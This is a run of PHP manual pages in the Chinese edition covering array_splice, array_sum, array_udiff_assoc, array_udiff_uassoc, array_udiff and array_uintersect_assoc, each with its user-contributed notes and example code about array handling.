weikard at gmx dot de 15-Sep-2005 05:53
You cannot insert with array_splice an array with your own key. array_splice will always insert it with the key "0".

<?php
// [DATA]
$test_array = array (
  row1 => array (col1 => 'foobar!', col2 => 'foobar!'),
  row2 => array (col1 => 'foobar!', col2 => 'foobar!'),
  row3 => array (col1 => 'foobar!', col2 => 'foobar!')
);

// [ACTION]
array_splice ($test_array, 2, 0, array ('rowX' => array ('colX' => 'foobar2')));
echo '<pre>'; print_r ($test_array); echo '</pre>';
?>

[RESULT]

Array (
    [row1] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [row2] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [0] => Array (
            [colX] => foobar2
        )

    [row3] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )
)

But you can use the following function:

function array_insert (&$array, $position, $insert_array) {
  $first_array = array_splice ($array, 0, $position);
  $array = array_merge ($first_array, $insert_array, $array);
}

<?php
// [ACTION]

array_insert ($test_array, 2, array ('rowX' => array ('colX' => 'foobar2')));
echo '<pre>'; print_r ($test_array); echo '</pre>';
?>

[RESULT]

Array (
    [row1] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [row2] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [rowX] => Array (
            [colX] => foobar2
        )

    [row3] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )
)

[NOTE]

The position "0" will insert the array in the first position (like array_shift). If you try a position higher than the langth of the array, you add it to the array like the function array_push.
csaba at alum dot mit dot edu 13-Aug-2005 02:31
Appending arrays
If you have an array $a2 whose values you would like to append to an array $a1 then four methods you could use are listed below in order of increasing time.  The last two methods took significantly more time than the first two.  The most surprising lesson is that using the & incurs a time hit.

<?php
foreach ($a2 as $elem) $a1[]=$elem;
foreach ($a2 as &$elem) $a1[]=$elem;
array_splice ($a1, count($a1), 0, $a2);
$a1 = array_merge($a1, $a2);
?>

Csaba Gabor from Vienna
randomdestination at gmail dot com 22-Jul-2005 01:52
To split an associative array based on it's keys, use this function:

<?php
function &array_split(&$in) {
    $keys = func_get_args();
    array_shift($keys);

    $out = array();
    foreach($keys as $key) {
        if(isset($in[$key]))
            $out[$key] = $in[$key];
        else
            $out[$key] = null;
        unset($in[$key]);
    }

    return $out;
}
?>

Example:
<?php
$testin = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4);
$testout =& array_split($testin, 'a', 'b', 'c');

print_r($testin);
print_r($testout);
?>

Will print:

Array
(
    [d] => 4
)
Array
(
    [a] => 1
    [b] => 2
    [c] => 3
)

Hope this helps anyone!
gideon at i6developments dot com 17-Jul-2004 09:45
array_splice dynamically updates the total number of entries into the array. So for instance I had a case where I needed to insert a value into every 4th entry of the array from the back. The problem was when it added the first, because the total number was dynamically updated, it would only add after the 3rd then the 2nd and so one. The solution I found is to track the number of inserts which were done and account for them dynamically.

Code:
<?php
    $modarray = array_reverse($mili);
    $trig=1;
        foreach($modarray as $rubber => $glue) {
            if($rubber!="<BR>") {
            $i++;
            $b++;
            if ($i==4) {
                $trig++;
                if($trig<=2) {
                array_splice($modarray,$b,0,"<BR>");
                }elseif($trig>=3){
                array_splice($modarray,$b+($trig-2),0,"<BR>");
                }
                $i=0;
                };
                };
        };
    $fixarray = array_reverse($modarray);

?>
rolandfoxx at yahoo dot com 30-Mar-2004 12:16
Be careful, array_splice does not behave like you might expect should you try to pass it an object as the replacement argument.  Consider the following:

<?php
//Very truncated
class Tree {
  var $childNodes

  function addChild($offset, $node) {
    array_splice($this->childNodes, $offset, 0, $node);
    //...rest of function
  }

}

class Node {
  var $stuff
  ...
}

$tree = new Tree();
// ...set 2 nodes using other functions...
echo (count($tree->childNodes)); //Gives 2
$newNode = new Node();
// ...set node attributes here...
$tree->addChild(1, $newNode);
echo(count($tree->childNodes)); //Expect 3?  wrong!
?>

In this case, the array has a number of items added to it equal to the number of attributes in the new Node object and the values thereof  I.e, if your Node object has 2 attributes with values "foo" and "bar", count($tree->childNodes) will now return 4, with the items "foo" and "bar" added to it.  I'm not sure if this qualifies as a bug, or is just a byproduct of how PHP handles objects.

Here's a workaround for this problem:
function array_insertobj(&$array, $offset, $insert) {
  $firstPart = array_slice($array, 0, $offset);
  $secondPart = array_slice($array, $offset);
  $insertPart = array($insert);
  $array = array_merge($firstPart, $insertPart, $secondPart);
}

Note that this function makes no allowances for when $offset equals the first or last index in the array.  That's because array_unshift and array_push work just fine in those cases.  It's only array_splice that can trip you up.  Obviously, this is kinda tailor-made for arrays with numeric keys when you don't really care what said keys are, but i'm sure you could adapt it for associative arrays if you needed it.
kbrown at horizon dot sk dot ca 11-Aug-2003 12:40
[ Editor's Note: If you're not concerned with the indexes being contiguously numbered (such as for an associative array) then unset($ar[$ind]); will accomplish the same as the code below without requiring splice/splice/merge.  If contiguous numbering IS a concern (such as for indexed arrays), you can still save time by using: unset($ar[$ind]); $ar = array_values($ar); ]

Removing elements from arrays

This works better - much quicker

<?php
$ar = array("einstein", "bert", "colin", "descartes", "renoir");
$a = array_slice($ar, 0, $ind);
$b = array_slice($ar, $ind + 1);
$ar = array_merge($a, $b);
?>
plintus at smtp dot ru 14-Apr-2003 01:59
key-safe:

<?php
function array_kslice ($array, $offset, $length = 0) {
$k = array_slice (array_keys ($array), $offset, $length);
$v = array_slice (array_values ($array), $offset, $length);
for ($i = 0; $i < count ($k); $i ++) $r[$k[$i]] = $v[$i];
return $r;
}
?>

smth like this. hope you like it more than versions above :)
tsunaquake DOESNTLIKESPAM @ wp DOT pl 11-Nov-2002 10:56
It is possible to use a string instead of offset, eg if you want to deletre the entry $myArray['entry'] then you can simply do it like this:

<?php
array_splice($myArray, 'entry', 1);
?>

Note that you can use unset($myArray['entry']) as well but then, it doesn't enable you to remove more than one entry and it doesn't replace anything in the array, if that's what you intend to do.
18-Jun-2002 07:14
Please note that array_splice() 's second argument is an OFFSET and not an INDEX.

Lets say you want to
$array_of_items = array ('nothing','myitem','hisitem','heritem');
$sid = array_search('myitem',$array_of_items);
echo $sid; /* prints out 1, since index element 1 is "myitem" */

Now, lets say we want to remove that "myitem" from the array:

<?php
$array_of_items = array_splice($array_of_items,(1+$sid),1);
?>

Notice how you have to add a one to the $sid variable?  That is because offset item 1 is "nothing" and since $sid is currently 1 (the index of "myitem"), we add 1 more to it to find out
 its OFFSET.

DO NOT DO THIS:
 $array_of_items = array_splice($array_of_items,$sid,1);
paule at cs dot tamu dot edu 12-Jun-2002 09:59
to kokos@lac.lviv.ua:

Good point about the code not doing what you expected.

The failure to check for the insert case like you pointed out is not a bug, however. I didn't add code to handle that because the key of such an added index is more or less undefined in an unordered associative array. Put another way, if your array is associative and not auto-indexed, you most likely care enough about your keys to want to set them explicitly.
paule at cs dot tamu dot edu 06-Jun-2002 11:09
After reading KoKos' post above, I thought that the code I posted right before his should do what he wanted. However, my original post neglected to note the little "Tip" in the documentation above, about a single element replacement.

If one changes the lines in my code above that says:

<?php
                if(is_array($replacement))
                    foreach($replacement as $r_key=>$r_value)
                        $new_array[$r_key]=$r_value;
?>

to instead say:

<?php
                if(is_string($replacement))
                    $new_array[$key]=$replacement;
                elseif(is_array($replacement))
                    foreach($replacement as $r_key=>$r_value)
                        $new_array[$r_key]=$r_value;
?>

that will solve the problem.

Sorry for the omission.
kokos at lac dot lviv dot ua 06-Jun-2002 08:26
It may seem obvious from the above posts, but cost me a bit of
braindamage to figure this out...

Contrary to the equivalence noted on this page
$input[$x] = $y   <==>   array_splice ($input, $x, 1, $y)
array_splice() will not always work as expected,
even provided that you have only INTEGER keys!

The following code:
   $t=array('a','b','c','d','e');
   var_dump($t);

<?php
   unset($t[0],$t[1],$t[3]);
   $t[0]='f';
   var_dump($t);

   array_splice($t,0,1,'g');
   var_dump($t);
?>

Will produce:
array(5) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
}
array(3) {
  [2]=>
  string(1) "c"
  [4]=>
  string(1) "e"
  [0]=>
  string(1) "f"
}
array(3) {
  [0]=>
  string(1) "g"
  [1]=>
  string(1) "e"
  [2]=>
  string(1) "f"
}

Note the position of $t[0] in the second call to var_dump().
And of course, array_splice() left it intact, changing $t[2] instead.
This is because it operates the _offset_, not the _index_.  :)
I think that "equivalence note" should be considered buggy.  ;)))

Best wishes.
KoKos.
jrhardytwothousandtwo at yahoo dot com 14-Feb-2002 11:54
A reference is made to INSERT'ing into an array here with array_splice, however its not explained very well.  I hope this example will help others find what took me days to research.

<?php
$original_array = array(1,2,3,4,5);
$insert_into_key_position = 3;
$item_to_insert = "blue";

$returned = array_splice($original_array, $insert_into_key_position, 0, $item_to_insert);

// $original_array will now show:

// 1,2,3,blue,4,5
?>

Remember that you are telling the array to insert the element into the KEY position.  Thus the elements start with key 0 and so on 0=>1, 1=>2, 2=>3, 3=>blue, 4=>4, 5=>5.  And walla, you've inserted.  I can't say if this is of any value for named keys, or multidimensional arrays.  However it does work for single dimensional arrays.

$returned should be an empty array as nothing was returned.  This would have substance if you were doing a replace instead.
leingang AT math DOT rutgers DOT edu 15-Jan-2002 07:32
array_splice resets the internal pointer of $input.  In fact, many array functions do this.  Caveat programmor!


对数组中所有值求和

  • ? array_splice
  • array_udiff_assoc ?
  • PHP Manual
  • 数组 函数
  • 对数组中所有值求和

array_sum

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

array_sum — 对数组中所有值求和

说明

array_sum(array $array): int|float

array_sum() 将数组中的所有值相加，并返回结果。

参数

array

输入的数组。

返回值

所有值的和以整数或浮点数的结果返回，array 为空时则返回 0。

示例

Example #1 array_sum() 例子

<?php
$a = array(2, 4, 6, 8);
echo "sum(a) = " . array_sum($a) . "\n";

$b = array("a" => 1.2, "b" => 2.3, "c" => 3.4);
echo "sum(b) = " . array_sum($b) . "\n";
?>

以上示例会输出：

sum(a) = 20
sum(b) = 6.9

User Contributed Notes

sarosekvlad12 at gmail dot com 09-Jun-2023 05:41
If you have a case where your array has int in strings, it sums them up as if there were only int in the array!
function sum_mix($a)
{
    return array_sum($a);
}
var_dump(sum_mix([9, 3, '7', '3']));
Response will be int(22)
harl at gmail dot com 29-Dec-2022 11:31
array_sum() doesn't "ignore strings if they are not convertible", it converts them to zero. array_product() does the same thing, where the difference between "ignoring" and "converting to zero" is much more obvious.
Michele Marsching 21-Dec-2022 11:19
Notably the function converts strings to float and ignores strings if they are not convertable:

<?php
$a = array("String", 2, 4, 6, 8);
echo "sum(a) = " . array_sum($a) . "\n";

$b = array("12.3456", 2, 4, 6, 8);
echo "sum(b) = " . array_sum($b) . "\n";
?>

sum(a) = 20
sum(b) = 32.3456
samiulmomin191139 at gmail dot com 03-Feb-2022 07:19
<?php
//you can also sum multidimentional arrays like this;

function arraymultisum(array $arr){
$sum=null;

    foreach($arr as $child){
        $sum+=is_array($child) ? arraymultisum($child):$child;
    }
    return $sum;
}

echo arraymultisum(array(1,4,5,[1,5,8,[4,5,7]]));

//Answer Will be
//40

?>
rodrigo at adboosters dot com 28-Jan-2022 12:29
If you want to calculate the sum in multi-dimensional arrays:

<?php
function array_multisum(array $arr): float {
    $sum = array_sum($arr);
    foreach($arr as $child) {
        $sum += is_array($child) ? array_multisum($child) : 0;
    }
    return $sum;
}
?>

Example:

<?php
$data =
[
    'a' => 5,
    'b' =>
    [
        'c' => 7,
        'd' => 3
    ],
    'e' => 4,
    'f' =>
    [
        'g' => 6,
        'h' =>
        [
            'i' => 1,
            'j' => 2
        ]
    ]
];

echo array_multisum($data);

//output: 28
?>
yakushabb at gmail dot com 26-Jan-2022 02:16
array_sum converts strings to integer and array_sum(2,'2') returns 4.

I had no idea.


带索引检查计算数组的差集，用回调函数比较数据

  • ? array_sum
  • array_udiff_uassoc ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的差集，用回调函数比较数据

array_udiff_assoc

(PHP 5, PHP 7, PHP 8)

array_udiff_assoc — 带索引检查计算数组的差集，用回调函数比较数据

说明

array_udiff_assoc(array $array, array ...$arrays, callable $value_compare_func): array

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

Note: 注意本函数只检查了多维数组中的一维。当然，可以用 array_udiff_assoc($array1[0], $array2[0], "some_comparison_func"); 来检查更深的维度。

参数

array

第一个数组。

arrays

要比较的数组。

value_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

array_udiff_assoc() 返回一个数组，该数组包括了所有在 array 中但是不在任何其它参数数组中的值。注意和 array_diff() 与 array_udiff() 不同的是键名也用于比较。数组数据的比较是用用户提供的回调函数进行的。在此方面和 array_diff_assoc() 的行为正好相反，后者是用内部函数进行比较的。

示例

Example #1 array_udiff_assoc() 例子

<?php
class cr {
private $priv_member;
function __construct($val)
{
$this->priv_member = $val;
}

static function comp_func_cr($a, $b)
{
if ($a->priv_member === $b->priv_member) return 0;
return ($a->priv_member > $b->priv_member)? 1:-1;
}
}

$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff_assoc($a, $b, array("cr", "comp_func_cr"));
print_r($result);
?>

以上示例会输出：

Array
(
    [0.1] => cr Object
        (
            [priv_member:private] => 9
        )

    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )
)

上例中可以看到键值对 "1" => new cr(4) 同时出现在两个数组中因此不在本函数的输出中。

参见

  • array_diff() - 计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_uintersect() - 计算数组的交集，用回调函数比较数据
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

User Contributed Notes

m dot ario dot huq at gmail dot com 05-Mar-2018 06:28
The example #1 can be modified (PHP 7 or higher) by using Spaceship operator (<=>):

<?php
//...
static function comp_func_cr($a, $b)
{
    return $a->priv_member <=> $b->priv_member;
}
//...
?>
tmquang6805 at yahoo dot com 25-May-2014 09:54
Difference between array_udiff_assoc() and array_diff_assoc()

- array_udiff_assoc(): Compares the DATA with the user supplied callback function
- array_diff_assoc(): Compares the INDEX with the user supplied callback function


带索引检查计算数组的差集，用回调函数比较数据和索引

  • ? array_udiff_assoc
  • array_udiff ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的差集，用回调函数比较数据和索引

array_udiff_uassoc

(PHP 5, PHP 7, PHP 8)

array_udiff_uassoc — 带索引检查计算数组的差集，用回调函数比较数据和索引

说明

array_udiff_uassoc(
array $array,
array ...$arrays,
callable $value_compare_func,
callable $key_compare_func
): array

array_udiff_uassoc() 返回一个数组，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。

注意和 array_diff() 与 array_udiff() 不同的是键名也用于比较。

参数

array

第一个数组。

arrays

要比较的数组。

value_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

key_compare_func

对键名（索引）的检查也是由回调函数 key_compare_func 进行的。这和 array_udiff_assoc() 的行为不同，后者是用内部函数比较索引的。

返回值

返回一个 array，包含 array 里没有出现在其他参数里的所有值。

示例

Example #1 array_udiff_uassoc() 例子

<?php
class cr {
private $priv_member;
function __construct($val)
{
$this->priv_member = $val;
}

static function comp_func_cr($a, $b)
{
if ($a->priv_member === $b->priv_member) return 0;
return ($a->priv_member > $b->priv_member)? 1:-1;
}

static function comp_func_key($a, $b)
{
if ($a === $b) return 0;
return ($a > $b)? 1:-1;
}
}
$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff_uassoc($a, $b, array("cr", "comp_func_cr"), array("cr", "comp_func_key"));
print_r($result);
?>

以上示例会输出：

Array
(
    [0.1] => cr Object
        (
            [priv_member:private] => 9
        )

    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )
)

在上例中键值对 "1" => new cr(4) 同时出现在两个数组中，因此不在本函数的输出中。要记住必须提供两个回调函数。

注释

Note: 注意本函数只检查了多维数组中的一维。当然，可以用 array_udiff_uassoc($array1[0], $array2[0], "data_compare_func", "key_compare_func"); 来检查更深的维度。

参见

  • array_diff() - 计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_uintersect() - 计算数组的交集，用回调函数比较数据
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

User Contributed Notes

There are no user contributed notes for this page.


用回调函数比较数据来计算数组的差集

  • ? array_udiff_uassoc
  • array_uintersect_assoc ?
  • PHP Manual
  • 数组 函数
  • 用回调函数比较数据来计算数组的差集

array_udiff

(PHP 5, PHP 7, PHP 8)

array_udiff — 用回调函数比较数据来计算数组的差集

说明

array_udiff(array $array, array ...$arrays, callable $value_compare_func): array

使用回调函数比较数据，计算数组的不同之处。和 array_diff() 不同的是，前者使用内置函数进行数据比较。

参数

array

第一个数组。

arrays

要对比的数组。

value_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

返回 array 里没有出现在其他参数里的所有值。

示例

Example #1 array_udiff() 使用 stdClass 对象的例子

<?php
// 要对比的数组
$array1 = array(new stdClass, new stdClass,
new stdClass, new stdClass,
);

$array2 = array(
new stdClass, new stdClass,
);

// 为每个对象设置一些属性
$array1[0]->width = 11; $array1[0]->height = 3;
$array1[1]->width = 7; $array1[1]->height = 1;
$array1[2]->width = 2; $array1[2]->height = 9;
$array1[3]->width = 5; $array1[3]->height = 7;

$array2[0]->width = 7; $array2[0]->height = 5;
$array2[1]->width = 9; $array2[1]->height = 2;

function compare_by_area($a, $b) {
$areaA = $a->width * $a->height;
$areaB = $b->width * $b->height;

if ($areaA < $areaB) {
return -1;
} elseif ($areaA > $areaB) {
return 1;
} else {
return 0;
}
}

print_r(array_udiff($array1, $array2, 'compare_by_area'));
?>

以上示例会输出：

Array
(
    [0] => stdClass Object
        (
            [width] => 11
            [height] => 3
        )

    [1] => stdClass Object
        (
            [width] => 7
            [height] => 1
        )

)

Example #2 array_udiff() 使用 DateTime 对象的例子

<?php
class MyCalendar {
public $free = array();
public $booked = array();

public function __construct($week = 'now') {
$start = new DateTime($week);
$start->modify('Monday this week midnight');
$end = clone $start;
$end->modify('Friday this week midnight');
$interval = new DateInterval('P1D');
foreach (new DatePeriod($start, $interval, $end) as $freeTime) {
$this->free[] = $freeTime;
}
}

public function bookAppointment(DateTime $date, $note) {
$this->booked[] = array('date' => $date->modify('midnight'), 'note' => $note);
}

public function checkAvailability() {
return array_udiff($this->free, $this->booked, array($this, 'customCompare'));
}

public function customCompare($free, $booked) {
if (is_array($free)) $a = $free['date'];
else $a = $free;
if (is_array($booked)) $b = $booked['date'];
else $b = $booked;
if ($a == $b) {
return 0;
} elseif ($a > $b) {
return 1;
} else {
return -1;
}
}
}

// 为每周日程创建日历
$myCalendar = new MyCalendar;

// 为本周预约一些日程
$myCalendar->bookAppointment(new DateTime('Monday this week'), "Cleaning GoogleGuy's apartment.");
$myCalendar->bookAppointment(new DateTime('Wednesday this week'), "Going on a snowboarding trip.");
$myCalendar->bookAppointment(new DateTime('Friday this week'), "Fixing buggy code.");

// 通过对比 $booked 日期和 $free 日期获取空闲的天数
echo "I'm available on the following days this week...\n\n";
foreach ($myCalendar->checkAvailability() as $free) {
echo $free->format('l'), "\n";
}
echo "\n\n";
echo "I'm busy on the following days this week...\n\n";
foreach ($myCalendar->booked as $booked) {
echo $booked['date']->format('l'), ": ", $booked['note'], "\n";
}
?>

以上示例会输出：

I'm available on the following days this week...

Tuesday
Thursday

I'm busy on the following days this week...

Monday: Cleaning GoogleGuy's apartment.
Wednesday: Going on a snowboarding trip.
Friday: Fixing buggy code.

注释

Note: 注意本函数只检查了多维数组中的一维。当然，可以用 array_udiff($array1[0], $array2[0], "data_compare_func"); 来检查更深的维度。

参见

  • array_diff() - 计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_uintersect() - 计算数组的交集，用回调函数比较数据
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

User Contributed Notes

Jorge Morales (morales2k) 20-Dec-2018 02:17
I find it that this is an ideal place to apply the spaceship operator, but it was not used in the examples.

Here is Example#1 using the spaceship operator in the comparison function.

    <?php
    // Arrays to compare
    $array1 = array(new stdclass, new stdclass,
                    new stdclass, new stdclass,
                   );

    $array2 = array(
                    new stdclass, new stdclass,
                   );

    // Set some properties for each object
    $array1[0]->width = 11; $array1[0]->height = 3;
    $array1[1]->width = 7;  $array1[1]->height = 1;
    $array1[2]->width = 2;  $array1[2]->height = 9;
    $array1[3]->width = 5;  $array1[3]->height = 7;

    $array2[0]->width = 7;  $array2[0]->height = 5;
    $array2[1]->width = 9;  $array2[1]->height = 2;

    function compare_by_area($a, $b) {
        $areaA = $a->width * $a->height;
        $areaB = $b->width * $b->height;

        return $areaA <=> $areaB;
    }

    print_r(array_udiff($array1, $array2, 'compare_by_area'));
    ?>

The output is:
    Array
    (
        [0] => stdClass Object
            (
                [width] => 11
                [height] => 3
            )

        [1] => stdClass Object
            (
                [width] => 7
                [height] => 1
            )

    )

I find it is pretty awesome you can substitute all of these lines:
    if ($areaA < $areaB) {
        return -1;
    } elseif ($areaA > $areaB) {
        return 1;
    } else {
        return 0;
    }

with just:

    return $areaA <=> $areaB;

Neat!
napcoder 27-Jul-2016 08:38
Note that the compare function is used also internally, to order the arrays and choose which element compare against in the next round.

If your compare function is not really comparing (ie. returns 0 if elements are equals, 1 otherwise), you will receive an unexpected result.
b4301775 at klzlk dot com 15-Jun-2011 11:09
Quick example for using array_udiff to do a multi-dimensional diff

Returns values of $arr1 that are not in $arr2

<?php
$arr1 = array( array('Bob', 42), array('Phil', 37), array('Frank', 39) );

$arr2 = array( array('Phil', 37), array('Mark', 45) );

$arr3 = array_udiff($arr1, $arr2, create_function(
    '$a,$b',
    'return strcmp( implode("", $a), implode("", $b) ); ')
    );

print_r($arr3);
?>

Output:

Array
(
    [0] => Array
        (
            [0] => Bob
            [1] => 42
        )

    [2] => Array
        (
            [0] => Frank
            [1] => 39
        )

)
1

Hope this helps someone
jared 07-Jul-2009 12:27
Note that php does the string conversion *before* sending the values to the callback function.
adam dot jorgensen dot za at gmail dot com 08-Oct-2008 06:51
It is not stated, by this function also diffs array1 to itself, removing any duplicate values...
grantwparks at gmail dot com 31-Dec-2007 07:15
Re: "convoluted"

I think the point being made is that array_udiff() can be used not only for comparisons between homogenous arrays, as in your example (and definitely the most common need), but it can be used to compare heterogeneous arrays, too.

Consider:

<?php
function compr_1($a, $b) {
    $aVal = is_array($a) ? $a['last_name'] : $a;
    $bVal = is_array($b) ? $b['last_name'] : $b;
    return strcasecmp($aVal, $bVal);
}

$aEmployees = array(
    array('last_name'  => 'Smith',
            'first_name' => 'Joe',
            'phone'      => '555-1000'),
    array('last_name'  => 'Doe',
            'first_name' => 'John',
            'phone'      => '555-2000'),
    array('last_name'  => 'Flagg',
            'first_name' => 'Randall',
            'phone'      => '666-1000')
    );

$aNames = array('Doe', 'Smith', 'Johnson');

$result = array_udiff($aEmployees, $aNames, "compr_1");

print_r($result);
?>

Allowing me to get the "employee" that's not in the name list:

Array ( [2] => Array ( [last_name] => Flagg [first_name] => Randall [phone] => 666-1000 ) )

Something interesting to note, is that the two arguments to the compare function don't correspond to array1 and array2.  That's why there has to be logic in it to handle that either of the arguments might be pointing to the more complex employee array.  (Found this out the hard way.)
Colin 02-Aug-2006 01:15
I think the example given here using classes is convoluting things too much to demonstrate what this function does.

array_udiff() will walk through array_values($a) and array_values($b) and compare each value by using the passed in callback function.

To put it another way, array_udiff() compares $a[0] to $b[0], $b[1], $b[2], and $b[3] using the provided callback function.  If the callback returns zero for any of the comparisons then $a[0] will not be in the returned array from array_udiff().  It then compares $a[1] to $b[0], $b[1], $b[2], and $b[3].  Then, finally, $a[2] to $b[0], $b[1], $b[2], and $b[3].

For example, compare_ids($a[0], $b[0]) === -5 while compare_ids($a[1], $b[1]) === 0.  Therefore, $a[1] is not returned from array_udiff() since it is present in $b.

<?
$a = array(
        array(
                'id' => 10,
                'name' => 'John',
                'color' => 'red',
        ),
        array(
                'id' => 20,
                'name' => 'Elise',
                'color' => 'blue',
        ),
        array(
                'id' => 30,
                'name' => 'Mark',
                'color' => 'red',
        ),
);

$b = array(
        array(
                'id' => 15,
                'name' => 'Nancy',
                'color' => 'black',
        ),
        array(
                'id' => 20,
                'name' => 'Elise',
                'color' => 'blue',
        ),
        array(
                'id' => 30,
                'name' => 'Mark',
                'color' => 'red',
        ),
        array(
                'id' => 40,
                'name' => 'John',
                'color' => 'orange',
        ),
);

function compare_ids($a, $b)
{
    return ($a['id'] - $b['id']);
}
function compare_names($a, $b)
{
    return strcmp($a['name'], $b['name']);
}

$ret = array_udiff($a, $b, 'compare_ids');
var_dump($ret);

$ret = array_udiff($b, $a, 'compare_ids');
var_dump($ret);

$ret = array_udiff($a, $b, 'compare_names');
var_dump($ret);
?>

Which returns the following.

In the first return we see that $b has no entry in it with an id of 10.
<?
array(1) {
  [0]=>
  array(3) {
    ["id"]=>
    int(10)
    ["name"]=>
    string(4) "John"
    ["color"]=>
    string(3) "red"
  }
}
?>

In the second return we see that $a has no entry in it with an id of 15 or 40.
<?
array(2) {
  [0]=>
  array(3) {
    ["id"]=>
    int(15)
    ["name"]=>
    string(5) "Nancy"
    ["color"]=>
    string(5) "black"
  }
  [3]=>
  array(3) {
    ["id"]=>
    int(40)
    ["name"]=>
    string(4) "John"
    ["color"]=>
    string(6) "orange"
  }
}
?>

In third return we see that all names in $a are in $b (even though the entry in $b whose name is 'John' is different, the anonymous function is only comparing names).
<?
array(0) {
}
?>
dmhouse at gmail dot com 20-Jan-2005 01:44
Very easy way of achieving a case-insensitive version of array_diff (or indeed array_diff_assoc, array_intersect or any of these types of functions which have a similar function that takes a callback function as one of their parameters):

array_udiff($array1, $array2, 'strcasecmp');

This works because strcasecmp() compares two strings case-insensitively, as compared to the array_diff() which compares two strings by using the == operator, which is case-sensitive.
aidan at php dot net 28-May-2004 07:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


带索引检查计算数组的交集，用回调函数比较数据

  • ? array_udiff
  • array_uintersect_uassoc ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的交集，用回调函数比较数据

array_uintersect_assoc

(PHP 5, PHP 7, PHP 8)

array_uintersect_assoc — 带索引检查计算数组的交集，用回调函数比较数据

说明

array_uintersect_assoc(array $array, array ...$arrays, callable $value_compare_func): array

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

注意和 array_uintersect() 不同的是键名也要比较。数据是用回调函数比较的。

参数

array

第一个数组。

arrays

要比较的数组。

value_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

返回一个数组，该数组包含了所有在 array 中也同时出现在所有其它参数数组中的值。

示例

Example #1 array_uintersect_assoc() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect_assoc($array1, $array2, "strcasecmp"));
?>

以上示例会输出：

Array
(
    [a] => green
)

参见

